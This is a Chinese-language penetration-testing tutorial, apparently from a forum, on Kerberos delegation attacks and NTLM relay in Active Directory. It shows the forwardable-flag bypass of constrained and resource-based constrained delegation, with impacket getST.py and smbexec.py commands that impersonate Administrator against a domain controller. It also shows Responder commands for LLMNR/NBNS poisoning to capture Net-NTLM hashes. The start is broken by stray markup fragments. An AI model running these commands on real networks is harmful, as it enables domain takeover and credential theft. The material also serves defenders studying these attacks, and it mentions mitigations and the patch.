创建机器账户
- addcomputer.exe -computer-name 'machine
- [/align][align=left]
- [/size][/align][align=left][code]# 提供账户和密码请求指定SPN服务的票据
复制代码
• 高权限的用户设置为不能委派
• 主机账户需设置委派时,只能设置为约束性委派
• server2012R2 及更高版本创建了受保护的用户组,该组内的用户不允许被委派,将需要保护的服务账户加入该组即可
该漏洞启用的攻击是Kerberos委派引起的其它已知攻击的扩展。该漏洞绕过了现有攻击路径的以下两个缓解措施,提高了它们的有效性和通用功能性。
• 绕过了Protecd Users组内用户和设置了“敏感账号,不能被委派”的安全措施,导致了这些用户也可以被委派。
• 绕过在设置约束性委派时勾选“仅使用Kerberos”选项,既无法进行协议转换。
我们首先来看一下KDC在约束性委派和基于资源的约束性委派校验过程中对于通过S4u2Self 请求的ST如何进行验证,验证流程如图所示,KDC首先会检查通过S4u2Self请求的ST的forwardable标志位:
1)如果该为0,也就是不可转发,则会在验证是否是RBCD委派
• 如果不是RBCD委派,则不返回票据
• 如果是RBCD委派,则再检查被委派的用户是否设置了不能被委派
• 如果设置了,则不返回票据
• 如果没设置,则返回票据
2) 如果该位为1,也就是可转发,则会再验证两者之间是否有委派配置。
• 如果有委派配置,则返回票据
• 如果无委派配置,则不返回票据
约束性委派攻击绕过
注册一个服务账户,并对该服务账户配置约束性委派
- net user hack Admin123 /add /domain 创建一个普通用户
- setspn -U -A priv/test hack 注册为服务账号
复制代码
配置好服务账户hack对cifs/DC.hack.com具有约束性委派,但是由于选择了“仅使用Kerberos”选项,因此不能进行协议转换。
当我们使用常规的委派攻击命令时,提示如下的错误信息。
[-] Kerberos SessionError:KDC_ERR_BADOPTION(KDC cannot accommodate requested option)[-] Probably SPN is not allowed to delegate by user test or inital TGT not forwardable
但当我们加上 -force-forwardable 参数绕过时,则成功获取到票据
- #以Administrator身份请求一张访问cifs/DC.hack.com的票据,加上 -force-forwardable 绕过参数
- python3 getST.py -dc-ip 192.168.41.10 hack.com/hack:Admin123 -spn cifs/DC.hack.com -impersonate Administrator -force-forwardable
- #导入该票据
- export KRB5CCNAME=Administrator.ccache
- #访问域控
- python3 smbexec.py -no-pass -k DC.hack.com
复制代码
基于资源的约束性委派攻击绕过
首先设置域管理员Administrator为“敏感账户,不能被委派”,然后再域控上配置用户hack到krbtgt服务具有基于资源的约束性委派,命令如下:
- Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount hack
- Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount
复制代码
当我们使用常规的委派攻击命令时,提示如下的错误信息。
[-] Kerberos SessionError:KDC_ERR_BADOPTION(KDC cannot accommodate requested option)[-] Probably SPN is not allowed to delegate by user test or inital TGT not forwardable
但当我们加上 -force-forwardable 参数时,则成功获取到票据
- #以Administrator 身份请求一张访问Krbtgt服务的票据,加上-force-forwardable 绕过参数
- python3 getST.py -dc-ip 192.168.41.10 -spn krbtgt -impersonate administrator hack.com/hack:Admin123 -force-forwardable
- #导入该票据
- export KRB5CCNAME=administrator.ccache
- #以Administrator身份访问域控DC.hack.com
- python3 smbexec.py -no-pass -k administrator@DC.hack.com -dc-ip 192.168.41.10
复制代码
微软已经发布了该漏洞的补丁程序,可以直接通过Windows自动更新解决此问题。
NTLM Relay攻击发生在NTLM认证的第三步,在Response消息中存在Net-NTLM Hash,当攻击者获取到Net-NTLM Hash后,可以重放Net-NTLM Hash进行中间人攻击。
使用Responder工具监听目标服务器发来的NTLM请求,
- sudo responder -I eth1 -wd
复制代码
Windows解析主机名的顺序为:
1)查看本地hosts文件
2)查看DNS缓存或者DNS服务器中进行查找
3)利用LLMNR(链路本地多播名称解析)和NetBIOS名称服务进行查找
当在目标主机上请求不存在的名称abcdefg,此时Responder对目标主机进行LLMNR/NBNS毒化,并要求其输入凭据认证,然后就可以抓到目标机器的Net-NTML Hash了
- sudo responder -I eth1 -wd
复制代码